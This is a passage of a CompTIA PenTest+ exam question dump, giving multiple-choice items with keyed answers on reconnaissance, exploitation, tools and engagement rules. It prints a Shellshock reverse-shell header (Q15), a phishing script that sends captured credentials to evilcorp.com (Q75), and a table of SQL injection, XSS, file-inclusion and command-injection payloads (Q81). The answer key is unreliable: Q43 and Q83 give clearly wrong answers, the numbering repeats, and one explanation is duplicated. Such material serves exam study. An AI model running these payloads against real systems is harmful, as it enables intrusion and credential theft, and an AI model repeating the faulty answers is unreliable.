

CompTIA

Exam Questions PT0-002

CompTIA PenTest+ Certification Exam



NEW QUESTION 1

A consultant is reviewing the following output after reports of intermittent connectivity issues:

? (192.168.1.1) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]
 ? (192.168.1.12) at 34:a4:be:09:44:f4 on en0 ifscope [ethernet]
 ? (192.168.1.17) at 92:60:29:12:ac:d2 on en0 ifscope [ethernet]
 ? (192.168.1.34) at 88:de:a9:12:ce:fb on en0 ifscope [ethernet]
 ? (192.168.1.136) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]
 ? (192.168.1.255) at ff:ff:ff:ff:ff:ff on en0 ifscope [ethernet]
 ? (224.0.0.251) at 01:02:5e:7f:ff:fa on en0 ifscope permanent [ethernet]
 ? (239.255.255.250) at ff:ff:ff:ff:ff:ff on en0 ifscope permanent [ethernet] Which of the following is MOST likely to be reported by the consultant?

- A. A device on the network has an IP address in the wrong subnet.
- B. A multicast session was initiated using the wrong multicast group.
- C. An ARP flooding attack is using the broadcast address to perform DDoS.
- D. A device on the network has poisoned the ARP cache.

Answer: D

Explanation:

The gateway for the network (192.168.1.1) is at 0a:d1:fa:b1:01:67, and then, another machine (192.168.1.136) also claims to be on the same MAC address. With this on the same network, intermittent connectivity will be inevitable as long as the gateway remains unreachable on the IP known by the others machines on the network, and given that the new machine claiming to be the gateway has not been configured to route traffic.

NEW QUESTION 2

A penetration tester was able to compromise a server and escalate privileges. Which of the following should the tester perform AFTER concluding the activities on the specified target? (Choose two.)

- A. Remove the logs from the server.
- B. Restore the server backup.
- C. Disable the running services.
- D. Remove any tools or scripts that were installed.
- E. Delete any created credentials.
- F. Reboot the target server.

Answer: DE

NEW QUESTION 3

Which of the following BEST describe the OWASP Top 10? (Choose two.)

- A. The most critical risks of web applications
- B. A list of all the risks of web applications
- C. The risks defined in order of importance
- D. A web-application security standard
- E. A risk-governance and compliance framework
- F. A checklist of Apache vulnerabilities

Answer: AC

NEW QUESTION 4

Which of the following would assist a penetration tester the MOST when evaluating the susceptibility of top-level executives to social engineering attacks?

- A. Scraping social media for personal details
- B. Registering domain names that are similar to the target company's
- C. Identifying technical contacts at the company
- D. Crawling the company's website for company information

Answer: A

NEW QUESTION 5

Which of the following situations would require a penetration tester to notify the emergency contact for the engagement?

- A. The team exploits a critical server within the organization.
- B. The team exfiltrates PII or credit card data from the organization.
- C. The team loses access to the network remotely.
- D. The team discovers another actor on a system on the network.

Answer: D

NEW QUESTION 6

A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:

```
if(isset($_POST['item'])) {
    echo shell_exec("/http/www/cgi-bin/queryitem ".$_POST['item']);
}
```

Which of the following tools will help the tester prepare an attack for this scenario?

- A. Hydra and crunch
- B. Netcat and cURL
- C. Burp Suite and DIRB
- D. Nmap and OWASP ZAP

Answer: B

NEW QUESTION 7

Which of the following tools would be BEST suited to perform a manual web application security assessment? (Choose two.)

- A. OWASP ZAP
- B. Nmap
- C. Nessus
- D. BeEF
- E. Hydra
- F. Burp Suite

Answer: AF

NEW QUESTION 8

A penetration tester ran a simple Python-based scanner. The following is a snippet of the code:

```
...
<LINE NUM.>
<01> portlist: list[int] = [*range(1, 1025)]
<02> try:
<03>     port: object
<04>     resultList: list[Any] = []
<05>     for port in portList:
<06>         sock = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
<07>         sock.settimeout(20)
<08>         result = sock.connect_ex((remoteSvr, port))
<09>         if result == 0:
<10>             resultList.append(port)
<11>         sock.close()
...
```

Which of the following BEST describes why this script triggered a `probable port scan` alert in the organization's IDS?

- A. sock.settimeout(20) on line 7 caused each next socket to be created every 20 milliseconds.
- B. *range(1, 1025) on line 1 populated the portList list in numerical order.
- C. Line 6 uses socket.SOCK_STREAM instead of socket.SOCK_DGRAM
- D. The remoteSvr variable has neither been type-hinted nor initialized.

Answer: B

Explanation:

Port randomization is widely used in port scanners. By default, Nmap randomizes the scanned port order (except that certain commonly accessible ports are moved near the beginning for efficiency reasons) <https://nmap.org/book/man-port-specification.html>

NEW QUESTION 9

A penetration tester joins the assessment team in the middle of the assessment. The client has asked the team, both verbally and in the scoping document, not to test the production networks. However, the new tester is not aware of this request and proceeds to perform exploits in the production environment. Which of the following would have MOST effectively prevented this misunderstanding?

- A. Prohibiting exploitation in the production environment
- B. Requiring all testers to review the scoping document carefully
- C. Never assessing the production networks
- D. Prohibiting testers from joining the team during the assessment

Answer: B

NEW QUESTION 10

A company has recruited a penetration tester to conduct a vulnerability scan over the network. The test is confirmed to be on a known environment. Which of the following would be the BEST option to identify a system properly prior to performing the assessment?

- A. Asset inventory
- B. DNS records
- C. Web-application scan
- D. Full scan

Answer: A

NEW QUESTION 10

A penetration tester is explaining the MITRE ATT&CK framework to a company's chief legal counsel. Which of the following would the tester MOST likely describe as a benefit of the framework?

- A. Understanding the tactics of a security intrusion can help disrupt them.

- B. Scripts that are part of the framework can be imported directly into SIEM tools.
- C. The methodology can be used to estimate the cost of an incident better.
- D. The framework is static and ensures stability of a security program overtime.

Answer: A

NEW QUESTION 15

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code:

```
exploits = {"User-Agent": "() { ignored; }; /bin/bash -i & /dev/tcp/127.0.0.1/9090 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}
```

Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

- A. exploits = {"User-Agent": "() { ignored; }; /bin/bash -i id;whoami", "Accept": "text/html,application/xhtml+xml,application/xml"}
- B. exploits = {"User-Agent": "() { ignored; }; /bin/bash -i & find / -perm -4000", "Accept": "text/html,application/xhtml+xml,application/xml"}
- C. exploits = {"User-Agent": "() { ignored; }; /bin/sh -i ps -ef" 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}
- D. exploits = {"User-Agent": "() { ignored; }; /bin/bash -i & /dev/tcp/10.10.1.1/80" 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"}

Answer: A

NEW QUESTION 17

A company has hired a penetration tester to deploy and set up a rogue access point on the network. Which of the following is the BEST tool to use to accomplish this goal?

- A. Wireshark
- B. Aircrack-ng
- C. Kismet
- D. Wifite

Answer: B

NEW QUESTION 21

A penetration tester has been hired to examine a website for flaws. During one of the time windows for testing, a network engineer notices a flood of GET requests to the web server, reducing the website's response time by 80%. The network engineer contacts the penetration tester to determine if these GET requests are part of the test. Which of the following BEST describes the purpose of checking with the penetration tester?

- A. Situational awareness
- B. Rescheduling
- C. DDoS defense
- D. Deconfliction

Answer: D

Explanation:

<https://redteam.guide/docs/definitions/>

NEW QUESTION 26

A penetration tester is conducting an authorized, physical penetration test to attempt to enter a client's building during non-business hours. Which of the following are MOST important for the penetration tester to have during the test? (Choose two.)

- A. A handheld RF spectrum analyzer
- B. A mask and personal protective equipment
- C. Caution tape for marking off insecure areas
- D. A dedicated point of contact at the client
- E. The paperwork documenting the engagement
- F. Knowledge of the building's normal business hours

Answer: DE

Explanation:

Always carry the contact information and any documents stating that you are approved to do this.

NEW QUESTION 31

Which of the following should a penetration tester attack to gain control of the state in the HTTP protocol after the user is logged in?

- A. HTTPS communication
- B. Public and private keys
- C. Password encryption
- D. Sessions and cookies

Answer: D

NEW QUESTION 34

A penetration tester has been given eight business hours to gain access to a client's financial system. Which of the following techniques will have the highest likelihood of success?

- A. Attempting to tailgate an employee going into the client's workplace

- B. Dropping a malicious USB key with the company's logo in the parking lot
- C. Using a brute-force attack against the external perimeter to gain a foothold
- D. Performing spear phishing against employees by posing as senior management

Answer: D

NEW QUESTION 38

A penetration tester is conducting an engagement against an internet-facing web application and planning a phishing campaign. Which of the following is the BEST passive method of obtaining the technical contacts for the website?

- A. WHOIS domain lookup
- B. Job listing and recruitment ads
- C. SSL certificate information
- D. Public data breach dumps

Answer: A

Explanation:

The BEST passive method of obtaining the technical contacts for the website would be a WHOIS domain lookup. WHOIS is a protocol that provides information about registered domain names, such as the registration date, registrant's name and contact information, and the name servers assigned to the domain. By performing a WHOIS lookup, the penetration tester can obtain the contact information of the website's technical staff, which can be used to craft a convincing phishing email.

NEW QUESTION 39

The provision that defines the level of responsibility between the penetration tester and the client for preventing unauthorized disclosure is found in the:

- A. NDA
- B. SLA
- C. MSA
- D. SOW

Answer: A

Explanation:

The provision that defines the level of responsibility between the penetration tester and the client for preventing unauthorized disclosure is found in the NDA, which stands for Non-Disclosure Agreement. The NDA is a legal agreement between two or more parties that outlines confidential material or knowledge that the parties wish to share with one another, but with restrictions on access, use or disclosure of that information. The NDA is commonly used in the context of penetration testing to protect the client's sensitive information that the tester may have access to during the engagement.

The NDA defines the terms of confidentiality and non-disclosure of information related to the engagement, including the responsibilities and obligations of both the tester and the client to ensure that any information exchanged or obtained during the engagement is kept confidential and not disclosed to unauthorized parties. This is particularly important in penetration testing, as the tester is granted access to the client's network and systems, and may uncover vulnerabilities or sensitive information that should not be disclosed to unauthorized parties.

In summary, the NDA plays a crucial role in defining the level of responsibility between the penetration tester and the client for preventing unauthorized disclosure of confidential information, and is an important legal instrument for protecting the client's sensitive information during a penetration testing engagement.

NEW QUESTION 43

Which of the following tools would be MOST useful in collecting vendor and other security-relevant information for IoT devices to support passive reconnaissance?

- A. Shodan
- B. Nmap
- C. WebScarab-NG
- D. Nessus

Answer: B

NEW QUESTION 48

A penetration tester gives the following command to a systems administrator to execute on one of the target servers:

```
rm -f /var/www/html/G679h32gYu.php
```

Which of the following BEST explains why the penetration tester wants this command executed?

- A. To trick the systems administrator into installing a rootkit
- B. To close down a reverse shell
- C. To remove a web shell after the penetration test
- D. To delete credentials the tester created

Answer: C

NEW QUESTION 52

A penetration tester is contracted to attack an oil rig network to look for vulnerabilities. While conducting the assessment, the support organization of the rig reported issues connecting to corporate applications and upstream services for data acquisitions. Which of the following is the MOST likely culprit?

- A. Patch installations
- B. Successful exploits
- C. Application failures
- D. Bandwidth limitations

Answer: B

NEW QUESTION 55

You are a penetration tester running port scans on a server. INSTRUCTIONS

Part 1: Given the output, construct the command that was used to generate this output from the available options.

Part 2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

Penetration Testing

Part 1 Part 2

Drag and Drop Options

-sL

-O

192.168.2.2

-sU

-sV

-p 1-1023

192.168.2.1-100

-Pn

nc

--top-ports=1000

hping

--top-ports=100

nmap

NMAP Scan Output

```

Host is up (0.00079s latency).
Not shown: 96 closed ports.
PORT STATE SERVICE VERSION
88/tcp open  kerberos-sec?
139/tcp open netbios-ssn
389/tcp open  ldap?
445/tcp open  microsoft-ds?
MAC Address: 08:00:27:81:B1:DF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux_kernel:2.4.21
OS details: Linux 2.4.21
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/.
# Scan done at Fri Oct 13 10:03:06 2017 - 1 IP address (1 host up)
scanned in 26.80 seconds
                
```

Command

?

Penetration Testing

Part 1 Part 2

Question Options

Using the output, identify potential attack vectors that should be further investigated.

- Weak SMB file permissions
- FTP anonymous login
- Webdav file upload
- Weak Apache Tomcat Credentials
- Null session enumeration
- Fragmentation attack
- SNMP enumeration
- ARP spoofing

NMAP Scan Output

```

Host is up (0.00079s latency).
Not shown: 96 closed ports.
PORT STATE SERVICE VERSION
88/tcp open  kerberos-sec?
139/tcp open netbios-ssn
389/tcp open  ldap?
445/tcp open  microsoft-ds?
MAC Address: 08:00:27:81:B1:DF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux_kernel:2.4.21
OS details: Linux 2.4.21
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/.
# Scan done at Fri Oct 13 10:03:06 2017 - 1 IP address (1 host up)
scanned in 26.80 seconds
                
```

- A. Mastered
- B. Not Mastered

Answer: A

Explanation:

Part 1 - 192.168.2.2 -O -sV --top-ports=100 and SMB vulns Part 2 - Weak SMB file permissions
<https://subscription.packtpub.com/book/networking-and-servers/9781786467454/1/ch01lv1sec13/fingerprinting>

NEW QUESTION 60

A penetration tester is testing a web application that is hosted by a public cloud provider. The tester is able to query the provider's metadata and get the credentials used by the instance to authenticate itself. Which of the following vulnerabilities has the tester exploited?

- A. Cross-site request forgery
- B. Server-side request forgery
- C. Remote file inclusion
- D. Local file inclusion

Answer: B

NEW QUESTION 65

A penetration tester is attempting to discover live hosts on a subnet quickly. Which of the following commands will perform a ping scan?

- A. nmap -sn 10.12.1.0/24
- B. nmap -sV -A 10.12.1.0/24
- C. nmap -Pn 10.12.1.0/24
- D. nmap -sT -p- 10.12.1.0/24

Answer: A

NEW QUESTION 66

A software company has hired a penetration tester to perform a penetration test on a database server. The tester has been given a variety of tools used by the company's privacy policy. Which of the following would be the BEST to use to find vulnerabilities on this server?

- A. OpenVAS
- B. Nikto
- C. SQLmap
- D. Nessus

Answer: C

NEW QUESTION 71

During an assessment, a penetration tester was able to access the organization's wireless network from outside of the building using a laptop running Aircrack-ng. Which of the following should be recommended to the client to remediate this issue?

- A. Changing to Wi-Fi equipment that supports strong encryption
- B. Using directional antennae
- C. Using WEP encryption
- D. Disabling Wi-Fi

Answer: A

NEW QUESTION 73

Which of the following tools would BEST allow a penetration tester to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine?

- A. Wireshark
- B. EAPHammer
- C. Kismet
- D. Aircrack-ng

Answer: D

Explanation:

The BEST tool to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine is Aircrack-ng. Aircrack-ng is a suite of tools used to assess the security of wireless networks. It starts by capturing wireless network packets [1], then attempts to crack the network password by analyzing them [1]. Aircrack-ng supports FMS, PTW, and other attack types, and can also be used to generate keystreams for WEP and WPA-PSK encryption. It is capable of running on Windows, Linux, and Mac OS X.

The BEST tool to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine is Aircrack-ng. Aircrack-ng is a suite of tools used to assess the security of wireless networks. It starts by capturing wireless network packets [1], then attempts to crack the network password by analyzing them [1]. Aircrack-ng supports FMS, PTW, and other attack types, and can also be used to generate keystreams for WEP and WPA-PSK encryption. It is capable of running on Windows, Linux, and Mac OS X.

NEW QUESTION 75

For a penetration test engagement, a security engineer decides to impersonate the IT help desk. The security engineer sends a phishing email containing an urgent request for users to change their passwords and a link to <https://example.com/index.html>. The engineer has designed the attack so that once the users enter the credentials, the index.html page takes the credentials and then forwards them to another server that the security engineer is controlling. Given the following information:

```
$.ajax({ url: 'https://evilcorp.com/email-list/finish.php',
  type: 'POST', dataType: 'html',
  data: {Email: emv, password: psv},
  success: function(msg) {}});
```

Which of the following lines of code should the security engineer add to make the attack successful?

- A. window.location.= 'https://evilcorp.com'
- B. crossDomain: true
- C. geturlparameter ('username')
- D. redirectUrl = 'https://example.com'

Answer: B

NEW QUESTION 78

A CentOS computer was exploited during a penetration test. During initial reconnaissance, the penetration tester discovered that port 25 was open on an internal Sendmail server. To remain stealthy, the tester ran the following command from the attack machine:

```
ssh root@10.10.1.1 -L5555:10.10.1.2:25
```

Which of the following would be the BEST command to use for further progress into the targeted network?

- A. nc 10.10.1.2
- B. ssh 10.10.1.2
- C. nc 127.0.0.1 5555
- D. ssh 127.0.0.1 5555

Answer: C

NEW QUESTION 81

You are a security analyst tasked with hardening a web server.

You have been given a list of HTTP payloads that were flagged as malicious. INSTRUCTIONS

Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

HTTP Request Payload Table

| Payloads | Vulnerability Type | Remediation |
|-------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| #inner-tab"><script>alert(1)</script> | <ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect | <ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization ... \ / . sandbox requests Input Sanitization ... \$ [] () Input Sanitization ... < > . |
| item=widget";waitfor%20delay%20'00:00:20';-- | <ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect | <ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization ... \ / . sandbox requests Input Sanitization ... \$ [] () Input Sanitization ... < > . |
| item=widget%20union%20select%20null,null,@version;-- | <ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect | <ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization ... \ / . sandbox requests Input Sanitization ... \$ [] () Input Sanitization ... < > . |
| search=Bob%3e%3cimg%20src%3da%20onerror%3dalert(1)%3e | <ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect | <ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization ... \ / . sandbox requests Input Sanitization ... \$ [] () Input Sanitization ... < > . |
| item=widget"+convert(int,@version)*" | <ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect | <ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization ... \ / . sandbox requests Input Sanitization ... \$ [] () Input Sanitization ... < > . |
| site=www.exe'ping%20-c%2010%20localhost'mple.com | <ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect | <ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization ... \ / . sandbox requests Input Sanitization ... \$ [] () Input Sanitization ... < > . |
| redir=http:%2f%2fwww.malicious-site.com | <ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect | <ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization ... \ / . sandbox requests Input Sanitization ... \$ [] () Input Sanitization ... < > . |
| logfile=%2fetc%2fpasswd%00 | <ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect | <ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization ... \ / . sandbox requests Input Sanitization ... \$ [] () Input Sanitization ... < > . |
| lookup=\$(whoami) | <ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect | <ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization ... \ / . sandbox requests Input Sanitization ... \$ [] () Input Sanitization ... < > . |
| logFile=http:%2f%2fwww.malicious-site.com%2fshell.txt | <ul style="list-style-type: none"> Command Injection DOM-based Cross Site Scripting SQL Injection (Error) SQL Injection (Stacked) SQL Injection (Union) Reflected Cross Site Scripting Local File Inclusion Remote File Inclusion URL Redirect | <ul style="list-style-type: none"> Parameterized queries Preventing external calls Input Sanitization ... \ / . sandbox requests Input Sanitization ... \$ [] () Input Sanitization ... < > . |

- A. Mastered
- B. Not Mastered

Answer: A

Explanation:

- * 1. Reflected XSS - Input sanitization (<> ...)
- * 2. Sql Injection Stacked - Parameterized Queries
- * 3. DOM XSS - Input Sanitization (<> ...)
- * 4. Local File Inclusion - sandbox req
- * 5. Command Injection - sandbox req
- * 6. SQLi union - paramtrized queries
- * 7. SQLi error - paramtrized queries

- * 8. Remote File Inclusion - sandbox
- * 9. Command Injection - input sanitization
- * 10. URL redirect - prevent external calls

NEW QUESTION 83

A red team gained access to the internal network of a client during an engagement and used the Responder tool to capture important data. Which of the following was captured by the testing team?

- A. Multiple handshakes
- B. IP addresses
- C. Encrypted file transfers
- D. User hashes sent over SMB

Answer: B

NEW QUESTION 87

During a penetration test, a tester is in close proximity to a corporate mobile device belonging to a network administrator that is broadcasting Bluetooth frames. Which of the following is an example of a Bluesnarfing attack that the penetration tester can perform?

- A. Sniff and then crack the WPS PIN on an associated WiFi device.
- B. Dump the user address book on the device.
- C. Break a connection between two Bluetooth devices.
- D. Transmit text messages to the device.

Answer: B

Explanation:

Bluesnarfing is the unauthorized access of information from a wireless device through a Bluetooth connection, often between phones, desktops, laptops, and PDAs. This allows access to calendars, contact lists, emails and text messages, and on some phones, users can copy pictures and private videos.

NEW QUESTION 90

After gaining access to a Linux system with a non-privileged account, a penetration tester identifies the following file:

```
-rwxrwxrwx 1 root root 915 Mar 6 2020 /scripts/daily_log_backup.sh
```

Which of the following actions should the tester perform FIRST?

- A. Change the file permissions.
- B. Use privilege escalation.
- C. Cover tracks.
- D. Start a reverse shell.

Answer: B

NEW QUESTION 93

A security firm is discussing the results of a penetration test with the client. Based on the findings, the client wants to focus the remaining time on a critical network segment. Which of the following BEST describes the action taking place?

- A. Maximizing the likelihood of finding vulnerabilities
- B. Reprioritizing the goals/objectives
- C. Eliminating the potential for false positives
- D. Reducing the risk to the client environment

Answer: B

Explanation:

Goal Reprioritization Have the goals of the assessment changed? Has any new information been found that might affect the goal or desired end state? I would also agree with A, because by goal reprioritization you are more likely to find vulnerabilities in this specific segment of critical network, but it is a side effect of goal reprioritization.

NEW QUESTION 96

A penetration tester discovered a vulnerability that provides the ability to upload to a path via directory traversal. Some of the files that were discovered through this vulnerability are:

```
https://xx.xx.xx.x/vpn/../../vpns/portal/scripts/newbm.pl  
https://xx.xx.xx.x/vpn/../../vpns/portal/scripts/rmbm.pl  
https://xx.xx.xx.x/vpn/../../vpns/portal/scripts/pikcthem.pl  
https://xx.xx.xx.x/vpn/../../vpns/cfg/smb.conf
```

Which of the following is the BEST method to help an attacker gain internal access to the affected machine?

- A. Edit the discovered file with one line of code for remote callback
- B. Download .pl files and look for usernames and passwords
- C. Edit the smb.conf file and upload it to the server
- D. Download the smb.conf file and look at configurations

Answer: C

NEW QUESTION 97

A company requires that all hypervisors have the latest available patches installed. Which of the following would BEST explain the reason why this policy is in place?

- A. To provide protection against host OS vulnerabilities
- B. To reduce the probability of a VM escape attack
- C. To fix any misconfigurations of the hypervisor
- D. To enable all features of the hypervisor

Answer: B

Explanation:

A hypervisor is a type of virtualization software that allows multiple virtual machines (VMs) to run on a single physical host machine. If the hypervisor is compromised, an attacker could potentially gain access to all of the VMs running on that host, which could lead to a significant data breach or other security issues.

One common type of attack against hypervisors is known as a VM escape attack. In this type of attack, an attacker exploits a vulnerability in the hypervisor to break out of the VM and gain access to the host machine. From there, the attacker can potentially gain access to other VMs running on the same host.

By ensuring that all hypervisors have the latest available patches installed, the company can reduce the likelihood that a VM escape attack will be successful. Patches often include security updates and vulnerability fixes that address known issues and can help prevent attacks.

NEW QUESTION 99

A penetration tester has identified several newly released CVEs on a VoIP call manager. The scanning tool the tester used determined the possible presence of the CVEs based off the version number of the service. Which of the following methods would BEST support validation of the possible findings?

- A. Manually check the version number of the VoIP service against the CVE release
- B. Test with proof-of-concept code from an exploit database
- C. Review SIP traffic from an on-path position to look for indicators of compromise
- D. Utilize an nmap -sV scan against the service

Answer: B

NEW QUESTION 102

A penetration tester is preparing to perform activities for a client that requires minimal disruption to company operations. Which of the following are considered passive reconnaissance tools? (Choose two.)

- A. Wireshark
- B. Nessus
- C. Retina
- D. Burp Suite
- E. Shodan
- F. Nikto

Answer: AE

NEW QUESTION 107

A company hired a penetration-testing team to review the cyber-physical systems in a manufacturing plant.

The team immediately discovered the supervisory systems and PLCs are both connected to the company intranet. Which of the following assumptions, if made by the penetration-testing team, is MOST likely to be valid?

- A. PLCs will not act upon commands injected over the network.
- B. Supervisors and controllers are on a separate virtual network by default.
- C. Controllers will not validate the origin of commands.
- D. Supervisory systems will detect a malicious injection of code/commands.

Answer: C

NEW QUESTION 110

When preparing for an engagement with an enterprise organization, which of the following is one of the MOST important items to develop fully prior to beginning the penetration testing activities?

- A. Clarify the statement of work.
- B. Obtain an asset inventory from the client.
- C. Interview all stakeholders.
- D. Identify all third parties involved.

Answer: A

NEW QUESTION 112

A penetration tester discovers during a recent test that an employee in the accounting department has been making changes to a payment system and redirecting money into a personal bank account. The penetration test was immediately stopped. Which of the following would be the BEST recommendation to prevent this type of activity in the future?

- A. Enforce mandatory employee vacations
- B. Implement multifactor authentication
- C. Install video surveillance equipment in the office
- D. Encrypt passwords for bank account information

Answer: A

Explanation:

If the employee already works in the accounting department, MFA will not stop their actions because they'll already have access by virtue of their job.

NEW QUESTION 113

A penetration tester will be performing a vulnerability scan as part of the penetration test on a client's website. The tester plans to run several Nmap scripts that probe for vulnerabilities while avoiding detection. Which of the following Nmap options will the penetration tester MOST likely utilize?

- A. -s -T0
- B. --script "http*vuln**"
- C. -sn
- D. -O -A

Answer: B

NEW QUESTION 114

A penetration tester was hired to perform a physical security assessment of an organization's office. After monitoring the environment for a few hours, the penetration tester notices that some employees go to lunch in a restaurant nearby and leave their belongings unattended on the table while getting food. Which of the following techniques would MOST likely be used to get legitimate access into the organization's building without raising too many alerts?

- A. Tailgating
- B. Dumpster diving
- C. Shoulder surfing
- D. Badge cloning

Answer: D

NEW QUESTION 117

A mail service company has hired a penetration tester to conduct an enumeration of all user accounts on an SMTP server to identify whether previous staff member accounts are still active. Which of the following commands should be used to accomplish the goal?

- A. VRFY and EXPN
- B. VRFY and TURN
- C. EXPN and TURN
- D. RCPT TO and VRFY

Answer: A

NEW QUESTION 122

A company that requires minimal disruption to its daily activities needs a penetration tester to perform information gathering around the company's web presence. Which of the following would the tester find MOST helpful in the initial information-gathering steps? (Choose two.)

- A. IP addresses and subdomains
- B. Zone transfers
- C. DNS forward and reverse lookups
- D. Internet search engines
- E. Externally facing open ports
- F. Shodan results

Answer: DF

NEW QUESTION 123

During an assessment, a penetration tester manages to exploit an LFI vulnerability and browse the web log for a target Apache server. Which of the following steps would the penetration tester most likely try NEXT to further exploit the web server? (Choose two.)

- A. Cross-site scripting
- B. Server-side request forgery
- C. SQL injection
- D. Log poisoning
- E. Cross-site request forgery
- F. Command injection

Answer: DF

Explanation:

Local File Inclusion (LFI) is a web vulnerability that allows an attacker to include files on a server through the web browser. This can expose sensitive information or lead to remote code execution.

Some possible next steps that a penetration tester can try after exploiting an LFI vulnerability are:

- Log poisoning: This involves injecting malicious code into the web server's log files and then including them via LFI to execute the code34.
- PHP wrappers: These are special streams that can be used to manipulate files or data via LFI. For example, `php://input` can be used to pass arbitrary data to an LFI script, or `php://filter` can be used to encode or decode files5.

NEW QUESTION 128

A security analyst needs to perform an on-path attack on BLE smart devices. Which of the following tools would be BEST suited to accomplish this task?

- A. Wireshark
- B. Gattacker
- C. tcpdump
- D. Netcat

Answer: B

Explanation:

The best tool for performing an on-path attack on BLE smart devices is Gattacker. Gattacker is a Bluetooth Low Energy (BLE) pentesting and fuzzing framework specifically designed for on-path attacks. It allows security analysts to perform a variety of tasks, including man-in-the-middle attacks, passive and active scans, fuzzing of BLE services, and more. Gattacker also provides an interactive command-line interface that makes it easy to interact with the target BLE device and execute various commands.

NEW QUESTION 132

Which of the following is the MOST important information to have on a penetration testing report that is written for the developers?

- A. Executive summary
- B. Remediation
- C. Methodology
- D. Metrics and measures

Answer: B

NEW QUESTION 133

A penetration tester performs the following command: `curl -I -http2 https://www.comptia.org`
 Which of the following snippets of output will the tester MOST likely receive?

- A.

```
HTTP/2 200
...
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
x-content-type-options: nosniff
referrer-policy: strict-origin
strict-transport-security: max-age=31536000; includeSubdomains; preload
...
```
- B.

```
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
...
</head>
...
<body lang="en">
</body>
</html>
```
- C.

| % Total | % Received | % Xferd | Average Dload | Speed Upload | Time Total | Time Spent | Time Left | Current Speed | | | |
|---------|------------|---------|---------------|--------------|------------|------------|-----------|---------------|---------|-------|-------|
| 100 | 1698k | 100 | 1698k | 0 | 0 | 1566k | 0 | 0:00:01 | 0:00:01 | --:-- | 1565k |
- D.

```
[#####] 100%
```

- A. Option A
- B. Option B
- C. Option C
- D. Option D

Answer: A

NEW QUESTION 138

A penetration tester runs the unshadow command on a machine. Which of the following tools will the tester most likely use NEXT?

- A. John the Ripper
- B. Hydra
- C. Mimikatz
- D. Cain and Abel

Answer: A

NEW QUESTION 139

A penetration tester writes the following script:

```
#!/bin/bash
for x in `seq 1 254`; do
    ping -c 1 10.10.1.$x;
done
```

Which of the following objectives is the tester attempting to achieve?

- A. Determine active hosts on the network.
- B. Set the TTL of ping packets for stealth.
- C. Fill the ARP table of the networked devices.
- D. Scan the system on the most used ports.

Answer: A

NEW QUESTION 142

A private investigation firm is requesting a penetration test to determine the likelihood that attackers can gain access to mobile devices and then exfiltrate data from those devices. Which of the following is a social-engineering method that, if successful, would MOST likely enable both objectives?

- A. Send an SMS with a spoofed service number including a link to download a malicious application.
- B. Exploit a vulnerability in the MDM and create a new account and device profile.
